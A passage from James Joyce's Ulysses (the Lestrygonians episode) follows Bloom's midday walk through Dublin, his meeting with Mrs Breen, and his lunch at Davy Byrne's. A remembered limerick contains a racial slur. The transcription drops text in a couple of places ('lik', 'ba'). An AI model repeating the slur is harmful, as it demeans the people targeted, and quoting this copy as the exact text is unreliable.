for the inner +alderman. Couldn't hear what the band played. For what we have already +received may the Lord make us. Milly was a kiddy then. Molly had that +elephantgrey dress with the braided frogs. Mantailored with selfcovered +buttons. She didn't like it because I sprained my ankle first day she wore +choir picnic at the Sugarloaf. As if that. Old Goodwin's tall hat done up +with some sticky stuff. Flies' picnic too. Never put a dress on her back +like it. Fitted her like a glove, shoulders and hips. Just beginning to +plump it out well. Rabbitpie we had that day. People looking after her. + +Happy. Happier then. Snug little room that was with the red +wallpaper. Dockrell's, one and ninepence a dozen. Milly's tubbing night. +American soap I bought: elderflower. Cosy smell of her bathwater. Funny +she looked soaped all over. Shapely too. Now photography. Poor papa's +daguerreotype atelier he told me of. Hereditary taste. + +He walked along the curbstone. + +Stream of life. What was the name of that priestylooking chap was +always squinting in when he passed? Weak eyes, woman. Stopped in +Citron's saint Kevin's parade. Pen something. Pendennis? My memory is +getting. Pen ...? Of course it's years ago. Noise of the trams probably. +Well, if he couldn't remember the dayfather's name that he sees every day. + +Bartell d'Arcy was the tenor, just coming out then. Seeing her home +after practice. Conceited fellow with his waxedup moustache. Gave her that +song WINDS THAT BLOW FROM THE SOUTH. + +Windy night that was I went to fetch her there was that lodge meeting +on about those lottery tickets after Goodwin's concert in the supperroom +or oakroom of the Mansion house. He and I behind. Sheet of her music blew +out of my hand against the High school railings. Lucky it didn't. Thing +like that spoils the effect of a night for her. Professor Goodwin linking +her in front. Shaky on his pins, poor old sot. His farewell concerts. +Positively last appearance on any stage. May be for months and may be for +never. Remember her laughing at the wind, her blizzard collar up. Corner +of Harcourt road remember that gust. Brrfoo! Blew up all her skirts and +her boa nearly smothered old Goodwin. She did get flushed in the wind. +Remember when we got home raking up the fire and frying up those pieces +of lap of mutton for her supper with the Chutney sauce she liked. And the +mulled rum. Could see her in the bedroom from the hearth unclamping the +busk of her stays: white. + +Swish and soft flop her stays made on the bed. Always warm from +her. Always liked to let her self out. Sitting there after till near two +taking out her hairpins. Milly tucked up in beddyhouse. Happy. Happy. +That was the night ... + +--O, Mr Bloom, how do you do? + +--O, how do you do, Mrs Breen? + +--No use complaining. How is Molly those times? Haven't seen her for ages. + +--In the pink, Mr Bloom said gaily. Milly has a position down in +Mullingar, you know. + +--Go away! Isn't that grand for her? + +--Yes. In a photographer's there. Getting on like a house on fire. How are +all your charges? + +--All on the baker's list, Mrs Breen said. + +How many has she? No other in sight. + +--You're in black, I see. You have no ... + +--No, Mr Bloom said. I have just come from a funeral. + +Going to crop up all day, I foresee. Who's dead, when and what did +he die of? Turn up like a bad penny. + +--O, dear me, Mrs Breen said. I hope it wasn't any near relation. + +May as well get her sympathy. + +--Dignam, Mr Bloom said. An old friend of mine. He died quite suddenly, +poor fellow. Heart trouble, I believe. Funeral was this morning. + + + YOUR FUNERAL'S TOMORROW + WHILE YOU'RE COMING THROUGH THE RYE. + DIDDLEDIDDLE DUMDUM + DIDDLEDIDDLE ... + + +--Sad to lose the old friends, Mrs Breen's womaneyes said melancholily. + +Now that's quite enough about that. Just: quietly: husband. + +--And your lord and master? + +Mrs Breen turned up her two large eyes. Hasn't lost them anyhow. + +--O, don't be talking! she said. He's a caution to rattlesnakes. He's in +there now with his lawbooks finding out the law of libel. He has me +heartscalded. Wait till I show you. + +Hot mockturtle vapour and steam of newbaked jampuffs rolypoly +poured out from Harrison's. The heavy noonreek tickled the top of Mr +Bloom's gullet. Want to make good pastry, butter, best flour, Demerara +sugar, or they'd taste it with the hot tea. Or is it from her? A barefoot +arab stood over the grating, breathing in the fumes. Deaden the gnaw of +hunger that way. Pleasure or pain is it? Penny dinner. Knife and fork +chained to the table. + +Opening her handbag, chipped leather. Hatpin: ought to have a +guard on those things. Stick it in a chap's eye in the tram. Rummaging. +Open. Money. Please take one. Devils if they lose sixpence. Raise Cain. +Husband barging. Where's the ten shillings I gave you on Monday? Are +you feeding your little brother's family? Soiled handkerchief: +medicinebottle. Pastille that was fell. What is she? ... + +--There must be a new moon out, she said. He's always bad then. Do you +know what he did last night? + +Her hand ceased to rummage. Her eyes fixed themselves on him, wide +in alarm, yet smiling. + +--What? Mr Bloom asked. + +Let her speak. Look straight in her eyes. I believe you. Trust me. + +--Woke me up in the night, she said. Dream he had, a nightmare. + +Indiges. + +--Said the ace of spades was walking up the stairs. + +--The ace of spades! Mr Bloom said. + +She took a folded postcard from her handbag. + +--Read that, she said. He got it this morning. + +--What is it? Mr Bloom asked, taking the card. U.P.? + +--U.P.: up, she said. Someone taking a rise out of him. It's a great shame +for them whoever he is. + +--Indeed it is, Mr Bloom said. + +She took back the card, sighing. + +--And now he's going round to Mr Menton's office. He's going to take an +action for ten thousand pounds, he says. + +She folded the card into her untidy bag and snapped the catch. + +Same blue serge dress she had two years ago, the nap bleaching. Seen +its best days. Wispish hair over her ears. And that dowdy toque: three old +grapes to take the harm out of it. Shabby genteel. She used to be a tasty +dresser. Lines round her mouth. Only a year or so older than Molly. + +See the eye that woman gave her, passing. Cruel. The unfair sex. + +He looked still at her, holding back behind his look his discontent. +Pungent mockturtle oxtail mulligatawny. I'm hungry too. Flakes of pastry +on the gusset of her dress: daub of sugary flour stuck to her cheek. +Rhubarb tart with liberal fillings, rich fruit interior. Josie Powell that +was. In Luke Doyle's long ago. Dolphin's Barn, the charades. U.P.: up. + +Change the subject. + +--Do you ever see anything of Mrs Beaufoy? Mr Bloom asked. + +--Mina Purefoy? she said. + +Philip Beaufoy I was thinking. Playgoers' Club. Matcham often +thinks of the masterstroke. Did I pull the chain? Yes. The last act. + +--Yes. + +--I just called to ask on the way in is she over it. She's in the lying-in +hospital in Holles street. Dr Horne got her in. She's three days bad now. + +--O, Mr Bloom said. I'm sorry to hear that. + +--Yes, Mrs Breen said. And a houseful of kids at home. It's a very stiff +birth, the nurse told me. + +---O, Mr Bloom said. + +His heavy pitying gaze absorbed her news. His tongue clacked in +compassion. Dth! Dth! + +--I'm sorry to hear that, he said. Poor thing! Three days! That's terrible +for her. + +Mrs Breen nodded. + +--She was taken bad on the Tuesday ... + +Mr Bloom touched her funnybone gently, warning her: + +--Mind! Let this man pass. + +A bony form strode along the curbstone from the river staring with a +rapt gaze into the sunlight through a heavystringed glass. Tight as a +skullpiece a tiny hat gripped his head. From his arm a folded dustcoat, a +stick and an umbrella dangled to his stride. + +--Watch him, Mr Bloom said. He always walks outside the lampposts. Watch! + +--Who is he if it's a fair question? Mrs Breen asked. Is he dotty? + +--His name is Cashel Boyle O'Connor Fitzmaurice Tisdall Farrell, Mr +Bloom said smiling. Watch! + +--He has enough of them, she said. Denis will be like that one of these +days. + +She broke off suddenly. + +--There he is, she said. I must go after him. Goodbye. Remember me to +Molly, won't you? + +--I will, Mr Bloom said. + +He watched her dodge through passers towards the shopfronts. Denis +Breen in skimpy frockcoat and blue canvas shoes shuffled out of Harrison's +hugging two heavy tomes to his ribs. Blown in from the bay. Like old +times. He suffered her to overtake him without surprise and thrust his +dull grey beard towards her, his loose jaw wagging as he spoke earnestly. + +Meshuggah. Off his chump. + +Mr Bloom walked on again easily, seeing ahead of him in sunlight the +tight skullpiece, the dangling stickumbrelladustcoat. Going the two days. +Watch him! Out he goes again. One way of getting on in the world. And +that other old mosey lunatic in those duds. Hard time she must have with +him. + +U.P.: up. I'll take my oath that's Alf Bergan or Richie Goulding. +Wrote it for a lark in the Scotch house I bet anything. Round to Menton's +office. His oyster eyes staring at the postcard. Be a feast for the gods. + +He passed the IRISH TIMES. There might be other answers Iying there. +Like to answer them all. Good system for criminals. Code. At their lunch +now. Clerk with the glasses there doesn't know me. O, leave them there to +simmer. Enough bother wading through fortyfour of them. Wanted, smart +lady typist to aid gentleman in literary work. I called you naughty +darling because I do not like that other world. Please tell me what is the +meaning. Please tell me what perfume does your wife. Tell me who made the +world. The way they spring those questions on you. And the other one +Lizzie Twigg. My literary efforts have had the good fortune to meet with +the approval of the eminent poet A. E. (Mr Geo. Russell). No time to do +her hair drinking sloppy tea with a book of poetry. + +Best paper by long chalks for a small ad. Got the provinces now. +Cook and general, exc. cuisine, housemaid kept. Wanted live man for spirit +counter. Resp. girl (R.C.) wishes to hear of post in fruit or pork shop. +James Carlisle made that. Six and a half per cent dividend. Made a big +deal on Coates's shares. Ca' canny. Cunning old Scotch hunks. All the +toady news. Our gracious and popular vicereine. Bought the IRISH FIELD +now. Lady Mountcashel has quite recovered after her confinement and rode +out with the Ward Union staghounds at the enlargement yesterday at +Rathoath. Uneatable fox. Pothunters too. Fear injects juices make it +tender enough for them. Riding astride. Sit her horse like a man. +Weightcarrying huntress. No sidesaddle or pillion for her, not for Joe. +First to the meet and in at the death. Strong as a brood mare some of +those horsey women. Swagger around livery stables. Toss off a glass of +brandy neat while you'd say knife. That one at the Grosvenor this morning. +Up with her on the car: wishswish. Stonewall or fivebarred gate +put her mount to it. Think that pugnosed driver did it out of spite. +Who is this she was like? O yes! Mrs Miriam Dandrade that sold me +her old wraps and black underclothes in the Shelbourne hotel. +Divorced Spanish American. Didn't take a feather out of her +my handling them. As if I was her clotheshorse. Saw her in the +viceregal party when Stubbs the park ranger got me in with Whelan of the +EXPRESS. Scavenging what the quality left. High tea. Mayonnaise I poured +on the plums thinking it was custard. Her ears ought to have tingled for a +few weeks after. Want to be a bull for her. Born courtesan. No nursery +work for her, thanks. + +Poor Mrs Purefoy! Methodist husband. Method in his madness. +Saffron bun and milk and soda lunch in the educational dairy. Y. M. C. A. +Eating with a stopwatch, thirtytwo chews to the minute. And still his +muttonchop whiskers grew. Supposed to be well connected. Theodore's +cousin in Dublin Castle. One tony relative in every family. Hardy annuals +he presents her with. Saw him out at the Three Jolly Topers marching along +bareheaded and his eldest boy carrying one in a marketnet. The squallers. +Poor thing! Then having to give the breast year after year all hours of +the night. Selfish those t.t's are. Dog in the manger. Only one lump of +sugar in my tea, if you please. + +He stood at Fleet street crossing. Luncheon interval. A sixpenny at +Rowe's? Must look up that ad in the national library. An eightpenny in the +Burton. Better. On my way. + +He walked on past Bolton's Westmoreland house. Tea. Tea. Tea. I forgot +to tap Tom Kernan. + +Sss. Dth, dth, dth! Three days imagine groaning on a bed with a +vinegared handkerchief round her forehead, her belly swollen out. Phew! +Dreadful simply! Child's head too big: forceps. Doubled up inside her +trying to butt its way out blindly, groping for the way out. Kill me that +would. Lucky Molly got over hers lightly. They ought to invent something +to stop that. Life with hard labour. Twilight sleep idea: queen Victoria +was given that. Nine she had. A good layer. Old woman that lived in a shoe +she had so many children. Suppose he was consumptive. Time someone thought +about it instead of gassing about the what was it the pensive bosom of the +silver effulgence. Flapdoodle to feed fools on. They could easily have big +establishments whole thing quite painless out of all the taxes give every +child born five quid at compound interest up to twentyone five per cent is +a hundred shillings and five tiresome pounds multiply by twenty decimal +system encourage people to put by money save hundred and ten and a bit +twentyone years want to work it out on paper come to a tidy sum more than +you think. + +Not stillborn of course. They are not even registered. Trouble for +nothing. + +Funny sight two of them together, their bellies out. Molly and Mrs +Moisel. Mothers' meeting. Phthisis retires for the time being, then +returns. How flat they look all of a sudden after. Peaceful eyes. +Weight off their mind. Old Mrs Thornton was a jolly old soul. All +my babies, she said. The spoon of pap in her mouth before she fed +them. O, that's nyumnyum. Got her hand crushed by old Tom Wall's son. +His first bow to the public. Head like a prize pumpkin. Snuffy Dr Murren. +People knocking them up at all hours. For God' sake, doctor. Wife in +her throes. Then keep them waiting months for their fee. To attendance +on your wife. No gratitude in people. Humane doctors, most of them. + +Before the huge high door of the Irish house of parliament a flock of +pigeons flew. Their little frolic after meals. Who will we do it on? I +pick the fellow in black. Here goes. Here's good luck. Must be thrilling +from the air. Apjohn, myself and Owen Goldberg up in the trees near Goose +green playing the monkeys. Mackerel they called me. + +A squad of constables debouched from College street, marching in +Indian file. Goosestep. Foodheated faces, sweating helmets, patting their +truncheons. After their feed with a good load of fat soup under their +belts. Policeman's lot is oft a happy one. They split up in groups and +scattered, saluting, towards their beats. Let out to graze. Best moment to +attack one in pudding time. A punch in his dinner. A squad of others, +marching irregularly, rounded Trinity railings making for the station. +Bound for their troughs. Prepare to receive cavalry. Prepare to receive +soup. + +He crossed under Tommy Moore's roguish finger. They did right to +put him up over a urinal: meeting of the waters. Ought to be places for +women. Running into cakeshops. Settle my hat straight. THERE IS NOT IN +THIS WIDE WORLD A VALLEE. Great song of Julia Morkan's. Kept her voice up +to the very last. Pupil of Michael Balfe's, wasn't she? + +He gazed after the last broad tunic. Nasty customers to tackle. Jack +Power could a tale unfold: father a G man. If a fellow gave them trouble +being lagged they let him have it hot and heavy in the bridewell. Can't +blame them after all with the job they have especially the young hornies. +That horsepoliceman the day Joe Chamberlain was given his degree in +Trinity he got a run for his money. My word he did! His horse's hoofs +clattering after us down Abbey street. Lucky I had the presence of mind to +dive into Manning's or I was souped. He did come a wallop, by George. +Must have cracked his skull on the cobblestones. I oughtn't to have got +myself swept along with those medicals. And the Trinity jibs in their +mortarboards. Looking for trouble. Still I got to know that young Dixon +who dressed that sting for me in the Mater and now he's in Holles street +where Mrs Purefoy. Wheels within wheels. Police whistle in my ears still. +All skedaddled. Why he fixed on me. Give me in charge. Right here it +began. + +--Up the Boers! + +--Three cheers for De Wet! + +--We'll hang Joe Chamberlain on a sourapple tree. + +Silly billies: mob of young cubs yelling their guts out. Vinegar hill. +The Butter exchange band. Few years' time half of them magistrates and +civil servants. War comes on: into the army helterskelter: same fellows +used to. Whether on the scaffold high. + +Never know who you're talking to. Corny Kelleher he has Harvey +Duff in his eye. Like that Peter or Denis or James Carey that blew the +gaff on the invincibles. Member of the corporation too. Egging raw youths +on to get in the know all the time drawing secret service pay from the +castle. Drop him like a hot potato. Why those plainclothes men are always +courting slaveys. Easily twig a man used to uniform. Squarepushing up +against a backdoor. Maul her a bit. Then the next thing on the menu. And +who is the gentleman does be visiting there? Was the young master saying +anything? Peeping Tom through the keyhole. Decoy duck. Hotblooded young +student fooling round her fat arms ironing. + +--Are those yours, Mary? + +--I don't wear such things ... Stop or I'll tell the missus on you. +Out half the night. + +--There are great times coming, Mary. Wait till you see. + +--Ah, gelong with your great times coming. + +Barmaids too. Tobaccoshopgirls. + +James Stephens' idea was the best. He knew them. Circles of ten so +that a fellow couldn't round on more than his own ring. Sinn Fein. Back +out you get the knife. Hidden hand. Stay in. The firing squad. Turnkey's +daughter got him out of Richmond, off from Lusk. Putting up in the +Buckingham Palace hotel under their very noses. Garibaldi. + +You must have a certain fascination: Parnell. Arthur Griffith is a +squareheaded fellow but he has no go in him for the mob. Or gas about our +lovely land. Gammon and spinach. Dublin Bakery Company's tearoom. +Debating societies. That republicanism is the best form of government. +That the language question should take precedence of the economic +question. Have your daughters inveigling them to your house. Stuff them +up with meat and drink. Michaelmas goose. Here's a good lump of thyme +seasoning under the apron for you. Have another quart of goosegrease +before it gets too cold. Halffed enthusiasts. Penny roll and a walk with +the band. No grace for the carver. The thought that the other chap pays +best sauce in the world. Make themselves thoroughly at home. Show us over +those apricots, meaning peaches. The not far distant day. Homerule sun +rising up in the northwest. + +His smile faded as he walked, a heavy cloud hiding the sun slowly, +shadowing Trinity's surly front. Trams passed one another, ingoing, +outgoing, clanging. Useless words. Things go on same, day after day: +squads of police marching out, back: trams in, out. Those two loonies +mooching about. Dignam carted off. Mina Purefoy swollen belly on a bed +groaning to have a child tugged out of her. One born every second +somewhere. Other dying every second. Since I fed the birds five minutes. +Three hundred kicked the bucket. Other three hundred born, washing the +blood off, all are washed in the blood of the lamb, bawling maaaaaa. + +Cityful passing away, other cityful coming, passing away too: other +coming on, passing on. Houses, lines of houses, streets, miles of +pavements, piledup bricks, stones. Changing hands. This owner, that. +Landlord never dies they say. Other steps into his shoes when he gets +his notice to quit. They buy the place up with gold and still they +have all the gold. Swindle in it somewhere. Piled up in cities, worn +away age after age. Pyramids in sand. Built on bread and onions. +Slaves Chinese wall. Babylon. Big stones left. Round towers. Rest rubble, +sprawling suburbs, jerrybuilt. Kerwan's mushroom houses built of breeze. +Shelter, for the night. + +No-one is anything. + +This is the very worst hour of the day. Vitality. Dull, gloomy: hate +this hour. Feel as if I had been eaten and spewed. + +Provost's house. The reverend Dr Salmon: tinned salmon. Well +tinned in there. Like a mortuary chapel. Wouldn't live in it if they paid +me. Hope they have liver and bacon today. Nature abhors a vacuum. + +The sun freed itself slowly and lit glints of light among the silverware +opposite in Walter Sexton's window by which John Howard Parnell passed, +unseeing. + +There he is: the brother. Image of him. Haunting face. Now that's a +coincidence. Course hundreds of times you think of a person and don't +meet him. Like a man walking in his sleep. No-one knows him. Must be a +corporation meeting today. They say he never put on the city marshal's +uniform since he got the job. Charley Kavanagh used to come out on his +high horse, cocked hat, puffed, powdered and shaved. Look at the +woebegone walk of him. Eaten a bad egg. Poached eyes on ghost. I have a +pain. Great man's brother: his brother's brother. He'd look nice on the +city charger. Drop into the D.B.C. probably for his coffee, play chess +there. His brother used men as pawns. Let them all go to pot. Afraid to +pass a remark on him. Freeze them up with that eye of his. That's the +fascination: the name. All a bit touched. Mad Fanny and his other sister +Mrs Dickinson driving about with scarlet harness. Bolt upright lik + surgeon M'Ardle. Still David Sheehy beat him for south Meath. +Apply for the Chiltern Hundreds and retire into public life. The patriot's +banquet. Eating orangepeels in the park. Simon Dedalus said when they put +him in parliament that Parnell would come back from the grave and lead +him out of the house of commons by the arm. + +--Of the twoheaded octopus, one of whose heads is the head upon which +the ends of the world have forgotten to come while the other speaks with a +Scotch accent. The tentacles ... + +They passed from behind Mr Bloom along the curbstone. Beard and +bicycle. Young woman. + +And there he is too. Now that's really a coincidence: second time. +Coming events cast their shadows before. With the approval of the eminent +poet, Mr Geo. Russell. That might be Lizzie Twigg with him. A. E.: what +does that mean? Initials perhaps. Albert Edward, Arthur Edmund, +Alphonsus Eb Ed El Esquire. What was he saying? The ends of the world +with a Scotch accent. Tentacles: octopus. Something occult: symbolism. +Holding forth. She's taking it all in. Not saying a word. To aid gentleman +in literary work. + +His eyes followed the high figure in homespun, beard and bicycle, a +listening woman at his side. Coming from the vegetarian. Only +weggebobbles and fruit. Don't eat a beefsteak. If you do the eyes of that +cow will pursue you through all eternity. They say it's healthier. +Windandwatery though. Tried it. Keep you on the run all day. Bad as a +bloater. Dreams all night. Why do they call that thing they gave me +nutsteak? Nutarians. Fruitarians. To give you the idea you are eating +rumpsteak. Absurd. Salty too. They cook in soda. Keep you sitting by the +tap all night. + +Her stockings are loose over her ankles. I detest that: so tasteless. +Those literary etherial people they are all. Dreamy, cloudy, symbolistic. +Esthetes they are. I wouldn't be surprised if it was that kind of food you +see produces the like waves of the brain the poetical. For example one of +those policemen sweating Irish stew into their shirts you couldn't squeeze +a line of poetry out of him. Don't know what poetry is even. Must be in a +certain mood. + + + THE DREAMY CLOUDY GULL + WAVES O'ER THE WATERS DULL. + + +He crossed at Nassau street corner and stood before the window of +Yeates and Son, pricing the fieldglasses. Or will I drop into old Harris's +and have a chat with young Sinclair? Wellmannered fellow. Probably at his +lunch. Must get those old glasses of mine set right. Goerz lenses six +guineas. Germans making their way everywhere. Sell on easy terms to +capture trade. Undercutting. Might chance on a pair in the railway lost +property office. Astonishing the things people leave behind them in trains +and cloakrooms. What do they be thinking about? Women too. Incredible. +Last year travelling to Ennis had to pick up that farmer's daughter's ba + and hand it to her at Limerick junction. Unclaimed money too. There's a +little watch up there on the roof of the bank to test those glasses by. + +His lids came down on the lower rims of his irides. Can't see it. If you +imagine it's there you can almost see it. Can't see it. + +He faced about and, standing between the awnings, held out his right +hand at arm's length towards the sun. Wanted to try that often. Yes: +completely. The tip of his little finger blotted out the sun's disk. Must +be the focus where the rays cross. If I had black glasses. Interesting. +There was a lot of talk about those sunspots when we were in Lombard +street west. Looking up from the back garden. Terrific explosions they +are. There will be a total eclipse this year: autumn some time. + +Now that I come to think of it that ball falls at Greenwich time. It's +the clock is worked by an electric wire from Dunsink. Must go out there +some first Saturday of the month. If I could get an introduction to +professor Joly or learn up something about his family. That would do to: +man always feels complimented. Flattery where least expected. Nobleman +proud to be descended from some king's mistress. His foremother. Lay it on +with a trowel. Cap in hand goes through the land. Not go in and blurt out +what you know you're not to: what's parallax? Show this gentleman the +door. + +Ah. + +His hand fell to his side again. + +Never know anything about it. Waste of time. Gasballs spinning +about, crossing each other, passing. Same old dingdong always. Gas: then +solid: then world: then cold: then dead shell drifting around, frozen +rock, like that pineapple rock. The moon. Must be a new moon out, she +said. I believe there is. + +He went on by la maison Claire. + +Wait. The full moon was the night we were Sunday fortnight exactly +there is a new moon. Walking down by the Tolka. Not bad for a Fairview +moon. She was humming. The young May moon she's beaming, love. He +other side of her. Elbow, arm. He. Glowworm's la-amp is gleaming, love. +Touch. Fingers. Asking. Answer. Yes. + +Stop. Stop. If it was it was. Must. + +Mr Bloom, quickbreathing, slowlier walking passed Adam court. + +With a keep quiet relief his eyes took note this is the street here +middle of the day of Bob Doran's bottle shoulders. On his annual bend, +M Coy said. They drink in order to say or do something or CHERCHEZ LA +FEMME. Up in the Coombe with chummies and streetwalkers and then the +rest of the year sober as a judge. + +Yes. Thought so. Sloping into the Empire. Gone. Plain soda would do +him good. Where Pat Kinsella had his Harp theatre before Whitbred ran +the Queen's. Broth of a boy. Dion Boucicault business with his +harvestmoon face in a poky bonnet. Three Purty Maids from School. How +time flies, eh? Showing long red pantaloons under his skirts. Drinkers, +drinking, laughed spluttering, their drink against their breath. More +power, Pat. Coarse red: fun for drunkards: guffaw and smoke. Take off that +white hat. His parboiled eyes. Where is he now? Beggar somewhere. The harp +that once did starve us all. + +I was happier then. Or was that I? Or am I now I? Twentyeight I was. +She twentythree. When we left Lombard street west something changed. +Could never like it again after Rudy. Can't bring back time. Like holding +water in your hand. Would you go back to then? Just beginning then. +Would you? Are you not happy in your home you poor little naughty boy? +Wants to sew on buttons for me. I must answer. Write it in the library. + +Grafton street gay with housed awnings lured his senses. Muslin +prints, silkdames and dowagers, jingle of harnesses, hoofthuds lowringing +in the baking causeway. Thick feet that woman has in the white stockings. +Hope the rain mucks them up on her. Countrybred chawbacon. All the beef +to the heels were in. Always gives a woman clumsy feet. Molly looks out of +plumb. + +He passed, dallying, the windows of Brown Thomas, silk mercers. +Cascades of ribbons. Flimsy China silks. A tilted urn poured from its +mouth a flood of bloodhued poplin: lustrous blood. The huguenots brought +that here. LA CAUSA E SANTA! Tara Tara. Great chorus that. Taree tara. +Must be washed in rainwater. Meyerbeer. Tara: bom bom bom. + +Pincushions. I'm a long time threatening to buy one. Sticking them all +over the place. Needles in window curtains. + +He bared slightly his left forearm. Scrape: nearly gone. Not today +anyhow. Must go back for that lotion. For her birthday perhaps. +Junejulyaugseptember eighth. Nearly three months off. Then she mightn't +like it. Women won't pick up pins. Say it cuts lo. + +Gleaming silks, petticoats on slim brass rails, rays of flat silk +stockings. + +Useless to go back. Had to be. Tell me all. + +High voices. Sunwarm silk. Jingling harnesses. All for a woman, +home and houses, silkwebs, silver, rich fruits spicy from Jaffa. Agendath +Netaim. Wealth of the world. + +A warm human plumpness settled down on his brain. His brain +yielded. Perfume of embraces all him assailed. With hungered flesh +obscurely, he mutely craved to adore. + +Duke street. Here we are. Must eat. The Burton. Feel better then. + +He turned Combridge's corner, still pursued. Jingling, hoofthuds. +Perfumed bodies, warm, full. All kissed, yielded: in deep summer fields, +tangled pressed grass, in trickling hallways of tenements, along sofas, +creaking beds. + +--Jack, love! + +--Darling! + +--Kiss me, Reggy! + +--My boy! + +--Love! + +His heart astir he pushed in the door of the Burton restaurant. Stink +gripped his trembling breath: pungent meatjuice, slush of greens. See the +animals feed. + +Men, men, men. + +Perched on high stools by the bar, hats shoved back, at the tables +calling for more bread no charge, swilling, wolfing gobfuls of sloppy +food, their eyes bulging, wiping wetted moustaches. A pallid suetfaced +young man polished his tumbler knife fork and spoon with his napkin. New +set of microbes. A man with an infant's saucestained napkin tucked round +him shovelled gurgling soup down his gullet. A man spitting back on his +plate: halfmasticated gristle: gums: no teeth to chewchewchew it. Chump +chop from the grill. Bolting to get it over. Sad booser's eyes. Bitten off +more than he can chew. Am I like that? See ourselves as others see us. +Hungry man is an angry man. Working tooth and jaw. Don't! O! A bone! That +last pagan king of Ireland Cormac in the schoolpoem choked himself at +Sletty southward of the Boyne. Wonder what he was eating. Something +galoptious. Saint Patrick converted him to Christianity. Couldn't swallow +it all however. + +--Roast beef and cabbage. + +--One stew. + +Smells of men. Spaton sawdust, sweetish warmish cigarette smoke, reek of +plug, spilt beer, men's beery piss, the stale of ferment. + +His gorge rose. + +Couldn't eat a morsel here. Fellow sharpening knife and fork to eat +all before him, old chap picking his tootles. Slight spasm, full, chewing +the cud. Before and after. Grace after meals. Look on this picture then on +that. Scoffing up stewgravy with sopping sippets of bread. Lick it off the +plate, man! Get out of this. + +He gazed round the stooled and tabled eaters, tightening the wings of +his nose. + +--Two stouts here. + +--One corned and cabbage. + +That fellow ramming a knifeful of cabbage down as if his life +depended on it. Good stroke. Give me the fidgets to look. Safer to eat +from his three hands. Tear it limb from limb. Second nature to him. Born +with a silver knife in his mouth. That's witty, I think. Or no. Silver +means born rich. Born with a knife. But then the allusion is lost. + +An illgirt server gathered sticky clattering plates. Rock, the head +bailiff, standing at the bar blew the foamy crown from his tankard. Well +up: it splashed yellow near his boot. A diner, knife and fork upright, +elbows on table, ready for a second helping stared towards the foodlift +across his stained square of newspaper. Other chap telling him something +with his mouth full. Sympathetic listener. Table talk. I munched hum un +thu Unchster Bunk un Munchday. Ha? Did you, faith? + +Mr Bloom raised two fingers doubtfully to his lips. His eyes said: + +--Not here. Don't see him. + +Out. I hate dirty eaters. + +He backed towards the door. Get a light snack in Davy Byrne's. Stopgap. +Keep me going. Had a good breakfast. + +--Roast and mashed here. + +--Pint of stout. + +Every fellow for his own, tooth and nail. Gulp. Grub. Gulp. Gobstuff. + +He came out into clearer air and turned back towards Grafton street. +Eat or be eaten. Kill! Kill! + +Suppose that communal kitchen years to come perhaps. All trotting +down with porringers and tommycans to be filled. Devour contents in the +street. John Howard Parnell example the provost of Trinity every mother's +son don't talk of your provosts and provost of Trinity women and children +cabmen priests parsons fieldmarshals archbishops. From Ailesbury road, +Clyde road, artisans' dwellings, north Dublin union, lord mayor in his +gingerbread coach, old queen in a bathchair. My plate's empty. After you +with our incorporated drinkingcup. Like sir Philip Crampton's fountain. +Rub off the microbes with your handkerchief. Next chap rubs on a new +batch with his. Father O'Flynn would make hares of them all. Have rows +all the same. All for number one. Children fighting for the scrapings of +the pot. Want a souppot as big as the Phoenix park. Harpooning flitches +and hindquarters out of it. Hate people all round you. City Arms hotel +TABLE D'HOTE she called it. Soup, joint and sweet. Never know whose +thoughts you're chewing. Then who'd wash up all the plates and forks? +Might be all feeding on tabloids that time. Teeth getting worse and worse. + +After all there's a lot in that vegetarian fine flavour of things from the +earth garlic of course it stinks after Italian organgrinders crisp of +onions mushrooms truffles. Pain to the animal too. Pluck and draw fowl. +Wretched brutes there at the cattlemarket waiting for the poleaxe to split +their skulls open. Moo. Poor trembling calves. Meh. Staggering bob. Bubble +and squeak. Butchers' buckets wobbly lights. Give us that brisket off the +hook. Plup. Rawhead and bloody bones. Flayed glasseyed sheep hung from +their haunches, sheepsnouts bloodypapered snivelling nosejam on sawdust. +Top and lashers going out. Don't maul them pieces, young one. + +Hot fresh blood they prescribe for decline. Blood always needed. +Insidious. Lick it up smokinghot, thick sugary. Famished ghosts. + +Ah, I'm hungry. + +He entered Davy Byrne's. Moral pub. He doesn't chat. Stands a +drink now and then. But in leapyear once in four. Cashed a cheque for me +once. + +What will I take now? He drew his watch. Let me see now. Shandygaff? + +--Hello, Bloom, Nosey Flynn said from his nook. + +--Hello, Flynn. + +--How's things? + +--Tiptop ... Let me see. I'll take a glass of burgundy and ... let +me see. + +Sardines on the shelves. Almost taste them by looking. Sandwich? +Ham and his descendants musterred and bred there. Potted meats. What is +home without Plumtree's potted meat? Incomplete. What a stupid ad! +Under the obituary notices they stuck it. All up a plumtree. Dignam's +potted meat. Cannibals would with lemon and rice. White missionary too +salty. Like pickled pork. Expect the chief consumes the parts of honour. +Ought to be tough from exercise. His wives in a row to watch the effect. +THERE WAS A RIGHT ROYAL OLD NIGGER. WHO ATE OR SOMETHING THE SOMETHINGS OF +THE REVEREND MR MACTRIGGER. With it an abode of bliss. Lord knows what +concoction. Cauls mouldy tripes windpipes faked and minced up. Puzzle +find the meat. Kosher. No meat and milk together. Hygiene that was what +they call now. Yom Kippur fast spring cleaning of inside. Peace and war +depend on some fellow's digestion. Religions. Christmas turkeys and geese. +Slaughter of innocents. Eat drink and be merry. Then casual wards full +after. Heads bandaged. Cheese digests all but itself. Mity cheese. + +--Have you a cheese sandwich? + +--Yes, sir. + +Like a few olives too if they had them. Italian I prefer. Good glass of +burgundy take away that. Lubricate. A nice salad, cool as a cucumber, Tom +Kernan can dress. Puts gusto into it. Pure olive oil. Milly served me that +cutlet with a sprig of parsley. Take one Spanish onion. God made food, the +devil the cooks. Devilled crab. + +--Wife well? + +--Quite well, thanks ... A cheese sandwich, then. Gorgonzola, have you? + +--Yes, sir. + +Nosey Flynn sipped his grog. + +--Doing any singing those times? + +Look at his mouth. Could whistle in his own ear. Flap ears to match. +Music. Knows as much about it as my coachman. Still better tell him. Does +no harm. Free ad. + +--She's engaged for a big tour end of this month. You may have heard +perhaps. + +--No. O, that's the style. Who's getting it up? + +The curate served. + +--How much is that? + +--Seven d., sir ... Thank you, sir. + +Mr Bloom cut his sandwich into slender strips. MR MACTRIGGER. Easier +than the dreamy creamy stuff. HIS FIVE HUNDRED WIVES. HAD THE TIME OF +THEIR LIVES. + +--Mustard, sir? + +--Thank you. + +He studded under each lifted strip yellow blobs. THEIR LIVES. I have it. +IT GREW BIGGER AND BIGGER AND BIGGER. + +--Getting it up? he said. Well, it's like a company idea, you see. Part +shares and part profits. + +--Ay, now I remember, Nosey Flynn said, putting his hand in 